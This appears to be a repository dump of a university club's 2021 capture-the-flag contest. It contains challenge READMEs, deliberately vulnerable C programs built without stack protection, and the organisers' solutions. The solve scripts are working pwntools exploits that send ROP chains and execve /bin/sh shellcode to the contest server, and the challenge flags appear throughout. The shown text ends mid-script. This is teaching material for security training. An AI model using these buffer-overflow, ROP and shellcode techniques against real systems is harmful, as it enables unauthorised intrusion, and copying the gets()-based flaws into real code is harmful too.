├── .gitignore ├── LICENSE ├── README.md ├── challenges ├── README.md ├── binary-exploitation │ ├── chain-my-song │ │ ├── README.md │ │ ├── chain-my-song │ │ ├── solve │ │ │ └── exploit.py │ │ └── source │ │ │ ├── Dockerfile │ │ │ ├── Makefile │ │ │ ├── chain-my-song │ │ │ ├── chain-my-song.c │ │ │ └── flag.txt │ ├── finger-in-the-shell │ │ ├── README.md │ │ ├── finger-in-the-shell │ │ ├── solve │ │ │ └── exploit.py │ │ └── source │ │ │ ├── Dockerfile │ │ │ ├── Makefile │ │ │ ├── extractor.py │ │ │ ├── finger-in-the-shell │ │ │ ├── fingerd.c │ │ │ ├── flag.txt │ │ │ ├── opcode │ │ │ ├── shellcode │ │ │ ├── shellcode.o │ │ │ └── shellcode.s │ ├── flush │ │ ├── README.md │ │ ├── flush.c │ │ ├── flush.zip │ │ └── solve │ │ │ └── flush_solve.py │ ├── numwrite │ │ ├── README.md │ │ ├── email.txt │ │ ├── numwrite │ │ ├── numwrite.c │ │ ├── solve │ │ │ └── numwrite_solve.py │ │ └── source │ │ │ ├── Dockerfile │ │ │ ├── flag.txt │ │ │ └── numwrite │ ├── poly │ │ ├── README.MD │ │ ├── poly.cpp │ │ ├── poly.zip │ │ └── solve │ │ │ └── poly_solve.py │ ├── ret2jedi │ │ ├── README.md │ │ ├── libc.so.6 │ │ ├── ret2jedi │ │ ├── solve │ │ │ └── exploit.py │ │ └── source │ │ │ ├── Dockerfile │ │ │ ├── Makefile │ │ │ ├── flag.txt │ │ │ ├── ld-linux-x86-64.so.2 │ │ │ ├── libc.so.6 │ │ │ ├── ret2jedi │ │ │ └── ret2jedi.c │ ├── smash │ │ ├── README.md │ │ ├── smash │ │ ├── solve │ │ │ └── exploit.py │ │ └── source │ │ │ ├── Dockerfile │ │ │ ├── Makefile │ │ │ ├── flag.txt │ │ │ ├── smash │ │ │ └── smash.c │ └── text-adventure-1 │ │ ├── README.md │ │ ├── solve │ │ └── exploit.py │ │ └── source │ │ ├── Dockerfile │ │ ├── Makefile │ │ ├── main.c │ │ ├── map.txt │ │ ├── parsexec.c │ │ ├── parsexec.h │ │ ├── rebuild.sh │ │ ├── room.c │ │ ├── room.h │ │ ├── terminal-login │ │ ├── terminal-login.c │ │ └── textadventure ├── cryptography │ ├── cubic-conundrum │ │ ├── README.md │ │ └── cubic_conundrum.pdf │ ├── data-encryption-non-standard │ │ ├── README.md │ │ ├── server_no_flag.py │ │ ├── solve │ │ │ └── dens_solve.py │ │ └── source │ │ │ ├── Dockerfile │ │ │ └── server.py │ ├── dot-matrix │ │ ├── README.md │ │ ├── flag.png │ │ ├── printer │ │ ├── solve │ │ │ └── dot_matrix_solve.py │ │ └── source │ │ │ ├── flag.png │ │ │ └── printer.c │ ├── mires-of-dyrne │ │ ├── README.md │ │ └── dms-notes.txt │ └── rumours-going-around │ │ ├── README.md │ │ ├── c1.txt │ │ ├── c2.txt │ │ ├── public1.pem │ │ ├── public2.pem │ │ └── solve │ │ └── solve.py ├── forensics │ ├── dynatac-8000x-keylogger │ │ ├── README.md │ │ ├── keylog.txt │ │ ├── solve │ │ │ └── dynatac-8000x-keylogger-solve.py │ │ └── source │ │ │ ├── create.py │ │ │ └── flag.txt │ ├── false-flag │ │ ├── README.md │ │ └── moonman.jpeg │ ├── moving-pictures │ │ ├── Moving_Pictures.pdf │ │ └── README.md │ ├── spectral-crib-synth │ │ ├── README.md │ │ ├── solve │ │ │ ├── synth-mix.mp3 │ │ │ ├── timecop-1983-on-the-run.mp3 │ │ │ └── wolf-raven-on-the-run.mp3 │ │ ├── synth-mix.mp3 │ │ └── wolf-rave-on-the-run.mp3 │ └── wargames │ │ └── README.md ├── misc │ ├── karel │ │ ├── README.md │ │ ├── karel.mp4 │ │ ├── solve │ │ │ └── script_solution.py │ │ └── source │ │ │ ├── beeper-doubling-karel.py │ │ │ ├── beeper-picking-karel.py │ │ │ ├── beeper-toting-karel.py │ │ │ ├── challenge.py │ │ │ ├── karel │ │ │ ├── __init__.py │ │ │ ├── constants.py │ │ │ ├── drawing.py │ │ │ ├── editor.py │ │ │ ├── images │ │ │ │ ├── beeper.png │ │ │ │ ├── beeper16.png │ │ │ │ ├── beeper24.png │ │ │ │ ├── error.png │ │ │ │ ├── karel.png │ │ │ │ ├── karel16.png │ │ │ │ └── karel24.png │ │ │ ├── robot.py │ │ │ ├── simulation.py │ │ │ └── world.py │ │ │ └── worlds │ │ │ └── challenge-world.w │ └── magpieSays │ │ ├── README.md │ │ ├── magpieJar.jar │ │ └── src │ │ ├── .DS_Store │ │ ├── SimonColor.class │ │ ├── SimonPanel$1.class │ │ ├── SimonPanel$DisplayColorTimerListener.class │ │ ├── SimonPanel$KeyBindingAction.class │ │ ├── SimonPanel$TurnOffListener.class │ │ ├── SimonPanel.class │ │ ├── SimonPattern.class │ │ ├── SimonShape.class │ │ └── SimonTest.class ├── networks │ ├── a-new-jimmy │ │ ├── README.md │ │ └── wireshark_1.pcap │ ├── jimmy-strikes-back │ │ ├── README.md │ │ ├── ddnsserver.py │ │ ├── solve │ │ │ └── jimmy-strikes-back-solve.py │ │ └── wireshark_2.pcap │ ├── man-in-the-mirror │ │ ├── README.md │ │ ├── solve │ │ │ ├── intercept-proxy.py │ │ │ └── man_in_the_mirror_solve.py │ │ └── source │ │ │ ├── Dockerfile │ │ │ └── config │ │ │ ├── nginx.conf │ │ │ └── proxy.conf │ └── treasures-of-polybius │ │ ├── .gitignore │ │ ├── README.md │ │ ├── solve │ │ ├── link_list.txt │ │ ├── solution.py │ │ └── treasures_of_polybius_solve.py │ │ └── source │ │ ├── bindump.py │ │ └── extra-info.txt ├── osint │ ├── foggy-memories-clear-skies │ │ └── README.md │ ├── movie-secrets │ │ ├── README.md │ │ └── source │ │ │ ├── character_profile.txt │ │ │ ├── other_images │ │ │ ├── IMG_20210105_202438.jpg │ │ │ └── IMG_20210106_155821.jpg │ │ │ ├── review-generation │ │ │ ├── generate_movie_list.py │ │ │ ├── movie-links.txt │ │ │ ├── movies │ │ │ └── rankings │ │ │ └── website │ │ │ ├── 404.html │ │ │ ├── 74696d62616c61676f6f6e6965736c617361676e6138386d697065726872.html │ │ │ ├── admin.html │ │ │ ├── camera_display.png │ │ │ ├── fibrousfilms_logo.png │ │ │ ├── index.html │ │ │ ├── missing-review.html │ │ │ ├── movie-list.html │ │ │ └── styles.css │ ├── newsworthy │ │ ├── README.md │ │ └── assets │ │ │ ├── front-page.png │ │ │ └── zoom.png │ ├── rubiks-cubiks │ │ └── README.md │ └── text-adventure-2 │ │ └── README.md ├── reverse-engineering │ ├── by-grace │ │ ├── README.md │ │ └── source │ │ │ ├── Dockerfile │ │ │ ├── app │ │ │ ├── DaJackpot │ │ │ │ └── jh4tkdfg$@jb^&asd#$%ff.html │ │ │ ├── main.py │ │ │ ├── requirements.txt │ │ │ ├── scrub.sh │ │ │ ├── static │ │ │ │ ├── ByGrace.tar.gz │ │ │ │ ├── UNDERCONTRUCTIONPERSON.GIF │ │ │ │ ├── banner.html │ │ │ │ ├── blankcard.png │ │ │ │ ├── charles.jpg │ │ │ │ ├── contruction.gif │ │ │ │ ├── email.gif │ │ │ │ ├── favicon.ico │ │ │ │ ├── griffith.jpg │ │ │ │ ├── guestbook17.gif │ │ │ │ ├── humans.txt │ │ │ │ ├── ie.gif │ │ │ │ ├── jolie.jpg │ │ │ │ ├── logo.png │ │ │ │ ├── menu.html │ │ │ │ ├── netscape.gif │ │ │ │ ├── robots.txt │ │ │ │ ├── ronnycox.jpg │ │ │ │ ├── takagi.jpg │ │ │ │ ├── tyrell.jpg │ │ │ │ └── yellowbackground.png │ │ │ └── templates │ │ │ │ ├── aboutus.html │ │ │ │ ├── banner.html │ │ │ │ ├── careers.html │ │ │ │ ├── guestbook.html │ │ │ │ ├── homepage.html │ │ │ │ ├── index.html │ │ │ │ ├── menu.html │ │ │ │ ├── numwrite.html │ │ │ │ ├── punchcard.html │ │ │ │ ├── sidebar.html │ │ │ │ ├── sorry.html │ │ │ │ └── wrongExtension.html │ │ │ └── cronAdd │ ├── calvinball │ │ ├── README.md │ │ ├── calvinball │ │ └── source │ │ │ └── calvinball.asm │ ├── choice-of-experience │ │ ├── ChoiceOfExperience.pdf │ │ ├── README.md │ │ └── assets │ │ │ ├── 01.png │ │ │ ├── 02.png │ │ │ ├── 03.png │ │ │ ├── 04.png │ │ │ └── 05.png │ └── paku-paku │ │ ├── Pacman.nes │ │ └── README.md └── web-exploitation │ ├── birdbuster-video │ ├── README.md │ ├── solve │ │ ├── assets │ │ │ └── birdbuster-barcode.gif │ │ └── birdbuster_video_solve.py │ └── source │ │ ├── Dockerfile │ │ └── app │ │ ├── main.py │ │ ├── populate.sql │ │ ├── requirements.txt │ │ ├── static │ │ ├── Ghostbusters.jpg │ │ ├── birdbuster-logo.png │ │ └── css │ │ │ └── styles.css │ │ └── templates │ │ └── index.html │ ├── cylons! │ └── README.md │ ├── david-byrne-online-tailor │ ├── README.md │ ├── main.py │ ├── solve │ │ └── david_byrne_solve.py │ └── source │ │ ├── Dockerfile │ │ ├── app │ │ ├── main.py │ │ ├── requirements.txt │ │ ├── static │ │ │ └── big-suit.jpg │ │ └── templates │ │ │ ├── index.html │ │ │ └── main-template.html │ │ └── flag │ │ └── flag.txt │ ├── devo-ps │ ├── README.md │ ├── solve │ │ └── devops_solve.py │ └── source │ │ ├── Dockerfile │ │ └── app │ │ ├── README.md │ │ ├── api.php │ │ ├── build.sh │ │ ├── build_flag_checker.yml │ │ ├── flagchecker │ │ ├── flagchecker.c │ │ └── flaghash.sh │ ├── sweatin-in-latex │ ├── README.md │ ├── solve │ │ ├── assets │ │ │ └── latex-solve.txt │ │ └── sweatin_in_latex_solve.py │ └── source │ │ ├── Dockerfile │ │ ├── cleanpdfdir.sh │ │ ├── entry.sh │ │ ├── flag.txt │ │ └── public_html │ │ ├── ajax.php │ │ ├── assets │ │ ├── css │ │ │ └── tailwind.min.css │ │ ├── images │ │ │ ├── background.jpg │ │ │ ├── dance.gif │ │ │ └── sticker.png │ │ └── js │ │ │ ├── app.js │ │ │ ├── bootstrap.min.js │ │ │ └── jquery-1.11.3.min.js │ │ ├── config.php │ │ └── index.html │ └── the-smurfs-cipher │ ├── README.md │ ├── solve │ ├── assets │ │ └── smurfs-solve-key │ └── the_smurfs_cipher_solve.py │ └── source │ ├── Dockerfile │ ├── flag.txt │ ├── password.txt │ └── public_html │ ├── cipher │ ├── css │ └── styles.css │ ├── decrypt.php │ ├── img │ └── smurfs-characters.png │ └── index.html └── ctf-logo.png /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 University of Calgary Information Security Club 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # magpieCTF 2021 2 | 3 | ![magpieCTF Logo](ctf-logo.png) 4 | 5 | ## Overview 6 | This repository contains challenges, writeups, and other resources for magpieCTF 2021 ([magpiectf.ca](https://magpiectf.ca/)). 7 | 8 | Courtesy of the University of Calgary Information Security Club ([infosecucalgary.ca](https://infosecucalgary.ca/)). 9 | 10 | **NOTE: This repository will be set to public after the CTF. Do not commit any sensitive passwords or API keys.** -------------------------------------------------------------------------------- /challenges/binary-exploitation/chain-my-song/README.md: -------------------------------------------------------------------------------- 1 | # Chain-my-song 2 | ### Category: Binary Exploitation 3 | ### Author: Brandon Arenas (Inga5508) 4 | 5 | ## Description 6 | I wrote a program that prints out the lyrics to my favourite song but I lost the source code. Can you make it work with just the binary? 7 | 8 | ## Hints 9 | 1. Use ROP chains! 10 | 2. Find ROP gadgets! 11 | 12 | ## Solution 13 | Simple but long rop chain. The goal is to piece together the lyrics of Eurythmics' "Sweet Dreams" song which will build the string "/bin/sh" to be executed using "system()". This is done using rop gadgets and return oriented programming. See solve script for detailed solution. 14 | 15 | 1. Find minimum bytes to segfault program 16 | 2. Figure out order of functions to spawn shell using decompiler 17 | 3. Find argument of functions using decompiler 18 | 4. Build payload using ROP gadgets. 19 | 20 | For a detailed solution, see exploit.py in solve/ 21 | 22 | ## Flag 23 | magpie{lv3_trA\/eIIe(|_th3_w()r!d} 24 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/chain-my-song/chain-my-song: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/binary-exploitation/chain-my-song/chain-my-song -------------------------------------------------------------------------------- /challenges/binary-exploitation/chain-my-song/solve/exploit.py: -------------------------------------------------------------------------------- 1 | from pathlib import Path 2 | from pwn import * 3 | 4 | e = ELF('./pwn') 5 | #prc = process("./pwn") 6 | prc = remote("bin.magpiectf.ca", 1982) 7 | 8 | # min bytes to segfault 9 | padding = b'a' * 0x78 10 | 11 | # gadget addresses 12 | pop_rdi = p64(0x4012b3) 13 | pop_rsi = p64(0x4012b1) 14 | 15 | # arguments 16 | arg1 = p64(0xb16bad) 17 | arg2 = p64(0xbadf00d) 18 | arg3 = p64(0xfee1dead) 19 | dummyv = p64(0x1337) 20 | 21 | # function addresses 22 | add_bin = p64(e.symbols['FUN_10032812']) 23 | add_she = p64(e.symbols['FUN_10021883']) 24 | exec_st = p64(e.symbols['FUN_100847311']) 25 | 26 | # function calls 27 | add_bin_call = pop_rdi + arg1 + add_bin 28 | add_she_call = pop_rdi + arg2 + pop_rsi + arg3 + dummyv + add_she 29 | 30 | payload = padding + add_bin_call + add_she_call + exec_st 31 | 32 | prc.sendline(payload) 33 | prc.interactive() 34 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/chain-my-song/source/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM nsjailcontainer 2 | 3 | ARG USERNAME=magpie 4 | RUN useradd -m $USERNAME 5 | RUN chmod a-w /home/$USERNAME 6 | 7 | COPY chain_my_song /home/magpie/chain_my_song 8 | COPY flag.txt /home/magpie/flag.txt 9 | 10 | RUN chmod o+x /home/magpie/chain_my_song 11 | 12 | EXPOSE 1982 13 | 14 | CMD ["/bin/nsjail", \ 15 | "-Ml", \ 16 | "--hostname", "host", \ 17 | "--port", "1982", \ 18 | "--user", "1001", \ 19 | "--group", "1001", \ 20 | "--chroot", "/", \ 21 | "-E", "TERM=xterm", \ 22 | "--cwd", "/home/magpie", \ 23 | "--", \ 24 | "/home/magpie/chain_my_song" \ 25 | ] 26 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/chain-my-song/source/Makefile: -------------------------------------------------------------------------------- 1 | all: chain-my-song 2 | 3 | chain-my-song: chain-my-song.c 4 | gcc -no-pie -fno-stack-protector -o chain-my-song chain-my-song.c 5 | cp chain-my-song ../chain-my-song 6 | 7 | clean: 8 | rm chain-my-song ../chain-my-song 9 | 10 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/chain-my-song/source/chain-my-song: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/binary-exploitation/chain-my-song/source/chain-my-song -------------------------------------------------------------------------------- /challenges/binary-exploitation/chain-my-song/source/chain-my-song.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | char string[100]; 6 | 7 | void FUN_100847311() { 8 | printf("Who am I to disagree?\n"); 9 | system(string); 10 | } 11 | 12 | void FUN_10032812(int sweet) { 13 | if (sweet == 0xb16bad) { 14 | printf("Sweet dreams\n"); 15 | strcat(string, "/bin"); 16 | } 17 | } 18 | 19 | void FUN_10021883(int are, int made) { 20 | if (are == 0xbadf00d && made == 0xfee1dead) { 21 | printf("are made of this.\n"); 22 | strcat(string, "/sh"); 23 | } 24 | } 25 | 26 | void FUN_10061882() { 27 | char buffer[100]; 28 | gets(buffer); 29 | } 30 | 31 | int main(int argc, char** argv) { 32 | string[0] = 0; 33 | FUN_10061882(); 34 | return 0; 35 | } 36 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/chain-my-song/source/flag.txt: -------------------------------------------------------------------------------- 1 | magpie{lv3_trA\/eIIe(|_th3_w()r!d} 2 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/finger-in-the-shell/README.md: -------------------------------------------------------------------------------- 1 | # Finger-in-the-shell 2 | ### Category: Binary Exploitation 3 | ### Author: Brandon Arenas (Inga5508) 4 | 5 | ## Description 6 | I found this old program in my grandfather's computer. I think a worm lived here once? 7 | 8 | ## Hints 9 | 1. Find mprotect call 10 | 2. Use both buffers to spawn a shell 11 | 12 | ## Solution 13 | The solution involves a bit of ROP, buffer overflow and shellcode injection. 14 | 15 | 1. Figure out what buffers are exploitable with some fuzz testing 16 | 2. Using a decompiler, find the call the mprotect 17 | 3. Inject shellcode in log buffer 18 | 4. Overflow line buffer and redirect return address to mprotect followed by log buffer 19 | 20 | For a detailed solution, see exploit.py in source/ 21 | 22 | ## Flag 23 | magpie{1nt@ng!bl3_m3m()ri_w0rnn} 24 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/finger-in-the-shell/finger-in-the-shell: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/binary-exploitation/finger-in-the-shell/finger-in-the-shell -------------------------------------------------------------------------------- /challenges/binary-exploitation/finger-in-the-shell/solve/exploit.py: -------------------------------------------------------------------------------- 1 | from pathlib import Path 2 | from pwn import * 3 | 4 | e = ELF("pwn") 5 | prc = remote("bin.magpiectf.ca", 6000) 6 | #prc = process("./pwn") 7 | 8 | padding = b"U" * 552 # 552 pad bytes 9 | buffer_address = p64(e.symbols["log"]) # 8 byte address of log buffer 10 | fun_address = p64(e.symbols["FUN_100318876"]) # 8 byte address of fun func 11 | 12 | shellcode = b"\x50\x48\x31\xd2\x48\x31\xf6\x49" \ 13 | b"\xbf\x2f\x2f\x62\x69\x6e\x2f\x73" \ 14 | b"\x68\x41\x57\x54\x5f\xb0\x3b\x0f" \ 15 | b"\x05" # 25 byte shellcode 16 | 17 | payload_1 = shellcode 18 | payload_2 = padding + fun_address + buffer_address 19 | 20 | prc.sendline(payload_1) 21 | prc.sendline(payload_2) 22 | 23 | prc.interactive() 24 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/finger-in-the-shell/source/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM nsjailcontainer 2 | 3 | ARG USERNAME=magpie 4 | RUN useradd -m $USERNAME 5 | RUN chmod a-w /home/$USERNAME 6 | 7 | COPY finger_in_the_shell /home/magpie/finger_in_the_shell 8 | COPY flag.txt /home/magpie/flag.txt 9 | 10 | RUN chmod o+x /home/magpie/finger_in_the_shell 11 | 12 | EXPOSE 6000 13 | 14 | CMD ["/bin/nsjail", \ 15 | "-Ml", \ 16 | "--hostname", "host", \ 17 | "--port", "6000", \ 18 | "--user", "1001", \ 19 | "--group", "1001", \ 20 | "--chroot", "/", \ 21 | "-E", "TERM=xterm", \ 22 | "--cwd", "/home/magpie", \ 23 | "--", \ 24 | "/home/magpie/finger_in_the_shell" \ 25 | ] 26 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/finger-in-the-shell/source/Makefile: -------------------------------------------------------------------------------- 1 | all: fingerd shellcode 2 | 3 | fingerd: fingerd.c 4 | gcc -z execstack -fno-stack-protector -no-pie -o finger-in-the-shell fingerd.c 5 | cp finger-in-the-shell ../ 6 | 7 | shellcode: shellcode.s 8 | as shellcode.s -o shellcode.o && ld shellcode.o -o shellcode 9 | objdump -D shellcode | python2 extractor.py > opcode 10 | 11 | clean: 12 | rm finger-in-the-shell ../finger-in-the-shell 13 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/finger-in-the-shell/source/extractor.py: -------------------------------------------------------------------------------- 1 | import sys, re 2 | 3 | if not sys.stdin.isatty(): 4 | try: 5 | shellcode = "" 6 | lenght = 0 7 | while True: 8 | item = sys.stdin.readline() 9 | if item: 10 | if re.match("^[ ]*[0-9a-f]*:.*$",item): 11 | item =item.split(":")[1].lstrip() 12 | x = item.split("\t") 13 | opcode = re.findall("[0-9a-f][0-9a-f]",x[0]) 14 | for i in opcode: 15 | shellcode += "\\x" + i 16 | lenght += 1 17 | else: 18 | break 19 | if shellcode == "": 20 | print "Nothing to extract" 21 | else: 22 | print "\n" + shellcode 23 | print "\nLenght: " + str(lenght) + "\n" 24 | except: 25 | print "\nError! \n Usage: objdump -d example.o | python shellcode_extractor.py" 26 | pass 27 | else: 28 | print "\nError! \n Usage: objdump -d example.o | python shellcode_extractor.py \n" 29 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/finger-in-the-shell/source/finger-in-the-shell: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/binary-exploitation/finger-in-the-shell/source/finger-in-the-shell -------------------------------------------------------------------------------- /challenges/binary-exploitation/finger-in-the-shell/source/flag.txt: -------------------------------------------------------------------------------- 1 | magpie{1nt@ng!bl3_m3m()ri_w0rnn} 2 | 3 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/finger-in-the-shell/source/opcode: -------------------------------------------------------------------------------- 1 | 2 | \x50\x48\x31\xd2\x48\x31\xf6\x49\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x41\x57\x54\x5f\xb0\x3b\x0f\x05 3 | 4 | Lenght: 25 5 | 6 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/finger-in-the-shell/source/shellcode: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/binary-exploitation/finger-in-the-shell/source/shellcode -------------------------------------------------------------------------------- /challenges/binary-exploitation/finger-in-the-shell/source/shellcode.o: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/binary-exploitation/finger-in-the-shell/source/shellcode.o -------------------------------------------------------------------------------- /challenges/binary-exploitation/finger-in-the-shell/source/shellcode.s: -------------------------------------------------------------------------------- 1 | .globl _start 2 | 3 | _start: 4 | 5 | push %rax 6 | xor %rdx, %rdx 7 | xor %rsi, %rsi 8 | mov $0x68732f6e69622f2f, %r15 9 | push %r15 10 | push %rsp 11 | pop %rdi 12 | mov $59,%al 13 | 14 | syscall 15 | -------------------------------------------------------------------------------- /challenges/binary-exploitation/flush/README.md: -------------------------------------------------------------------------------- 1 | # Flush 2 | ### Category: Binary Exploitation 3 | ### Author: steadmanticore 4 | 5 | ## Description 6 | Bowser has kidnapped the princess and hidden her somewhere in the pipes. As an expert plumber, you must take on the challenge and rescue the princess. Hurry! 7 | 8 | ## Hints 9 | 1. https://linux.die.net/man/3/setvbuf 10 | 2. Never get trapped in a buffer – it’s a horrible existence 11 | 12 | ## Solution 13 | Simple buffer overflow. 20 bytes of padding, then address of win, then address of some function that will force a buffer flush (exit plt, flush plt, or main), then 0xE91c, 0xb055, and 0xba771e. All content except the initial 20 bytes of padding are 32 bit integers written in little-endian form. 14 | 15 | Biggest problem people will have is not setting a valid return address, which will cause a segfault and the flag will remain in the buffer and never be printed. However: local binaries should behave the same way, so if they can get it to work locally it should also work on the server. 16 | 17 | ## Flag 18 | magpie{p21nc355_704d57001_<3_111} -------------------------------------------------------------------------------- /challenges/binary-exploitation/flush/flush.c: -------------------------------------------------------------------------------- 1 | /* gcc -m32 flush.c -o flush -fno-stack-protector -Wno-deprecated-declarations -std=c90 -D_FORTIFY_SOURCE=0 -no-pie -fno-pic 2 | Arch: i386-32-little 3 | RELRO: Partial RELRO 4 | Stack: No canary found 5 | NX: NX enabled 6 | PIE: No PIE (0x8048000) 7 | */ 8 | #include 9 | #include 10 | 11 | void win(unsigned int pipe0, unsigned int pipe1, unsigned int pipe2) 12 | { 13 | char flag[48]; 14 | FILE *file = fopen("flag.txt", "r"); 15 | if (file == NULL) { 16 | puts("Flag File is Missing."); 17 | exit(0); 18 | } 19 | fgets(flag, sizeof(flag), file); 20 | 21 | if (pipe0 == 0xE91C && pipe1 == 0xB055 && pipe2 == 0xBA771E) 22 | { 23 | fputs("\nCongrats Mario! You navigated the pipes correctly to find the princess!\n", stdout); 24 | fputs("Here's your flag: ", stdout); 25 | fputs(flag, stdout); 26 | } 27 | } 28 | 29 | /* NOTE: A good plumber always cleans up. */ 30 | void vuln() 31 | { 32 | char buf[8]; 33 | fputs("Where to? : ", stdout); 34 | fflush(stdout); 35 | 36 | gets(buf); 37 | } 38 | 39 | int main(void) 40 | { 41 | setvbuf(stdout, NULL, _IOFBF, 0); 42 | 43 | puts("Hello Mario - Navigate the pipes to find the princess... IF YOU DARE!"); 44 | fflush(stdout); 45 | 46 | vuln(); 47 | return 0; 48 | } -------------------------------------------------------------------------------- /challenges/binary-exploitation/flush/flush.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/binary-exploitation/flush/flush.zip -------------------------------------------------------------------------------- /challenges/binary-exploitation/flush/solve/flush_solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | import sys, os 5 | 6 | FLUSH_FLAG = b"magpie{p21nc355_704d57001_<3_111}" 7 | 8 | def solve(host="bin.magpiectf.ca", port=7795): 9 | #p = process("./flush") 10 | #p = gdb.debug("./flush", "") 11 | p = remote(host, port) 12 | 13 | # aout = ELF("./flush") 14 | 15 | win = 0x08049296 # aout.symbols['win'] 16 | exit = 0x8049134 # aout.plt['exit'] 17 | 18 | print(f"win: {win:#04X} exit: {exit:#04X}") 19 | 20 | payload = (b"U"*20 + p32(win) + p32(exit) + p32(0xE91c) + p32(0xb055) + p32(0xba771e)) 21 | p.sendline(payload) 22 | 23 | p.recvuntil("Here's your flag: ") 24 | flag = p.recv().rstrip() 25 | print("got flag: \"" + flag.decode("ascii") + "\"") 26 | return flag == FLUSH_FLAG 27 | 28 | def main(): 29 | global FLUSH_FLAG 30 | 31 | if len(sys.argv) >=3: 32 | target_host = sys.argv[1] 33 | target_port = int(sys.argv[2]) 34 | else: 35 | target_host = os.environ.get('TARGET_HOSTNAME') or "pwn-flush" 36 | target_port = int(os.environ.get('TARGET_PORT') or 31337) 37 | 38 | print("Hardcoded flag: " + FLUSH_FLAG.decode("ascii")) 39 | 40 | try: 41 | fname = 'flag.txt' 42 | if os.path.exists(fname): 43 | with open(fname,'rb') as f: 44 | local_flag = f.read().rstrip() 45 | print("Local flag: " + local_flag.decode("ascii")) 46 | print("Using Local Flag.") 47 | FLUSH_FLAG = local_flag 48 | except: 49 | print("Unexpected error reading local flag. Using Hardcoded flag.") 50 | 51 | match = solve(target_host, target_port) 52 | print("Match = " + str(match)) 53 | 54 | sys.exit(not match) 55 | 56 | if __name__ == "__main__": 57 | main() -------------------------------------------------------------------------------- /challenges/binary-exploitation/numwrite/numwrite: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infosec-ucalgary/magpieCTF-2021/d0d80724eb9f2d571b8c3c62afaa3c159b166f70/challenges/binary-exploitation/numwrite/numwrite -------------------------------------------------------------------------------- /challenges/binary-exploitation/numwrite/solve/numwrite_solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | import sys, os 5 | 6 | #context.log_level = 'debug' 7 | 8 | NUMWRITE_FLAG = b"magpie{th3_w0rd_0f_7h3_d4y_|s_b1n4ry_3xpL0iT4t10n}" 9 | 10 | def solve(): 11 | # start the process with the arguments 12 | #p = process(["./numwrite"], timeout = 4, stdin = PTY, stdout = PTY, raw = False) 13 | #p = remote("localhost", 8754) 14 | p = remote("bin.magpiectf.ca", 8754) 15 | 16 | 17 | # receive the first line, print it out 18 | line = p.recvline() 19 | p.sendline("12AA/bin/sh") 20 | 21 | # receive the next input line 22 | line = p.recvuntil(b': long') 23 | p.sendline("i") 24 | 25 | # write 11 values 26 | for i in range(11): 27 | line = p.recvuntil(b':') 28 | p.sendline("-") 29 | 30 | # overwrite 12th value with the number 24 (0x18 in hex): 0x1800000000 = 103079215104 31 | line = p.recvuntil(b':') 32 | p.sendline("103079215104") 33 | 34 | # write 9 more values, use "-" to keep current memory 35 | # untouched 36 | for i in range(9): 37 | line = p.recvuntil(b':') 38 | p.sendline("-") 39 | 40 | # write ROPgadget for pop rdi; ret; at 0x401743 = 4200259 41 | line = p.recvuntil(b':') 42 | p.sendline("4200259") 43 | 44 | # addr of /bin/sh whic is currently being held in the buffer because 45 | # atoi only uses the first numbers it finds: 0x4040b4 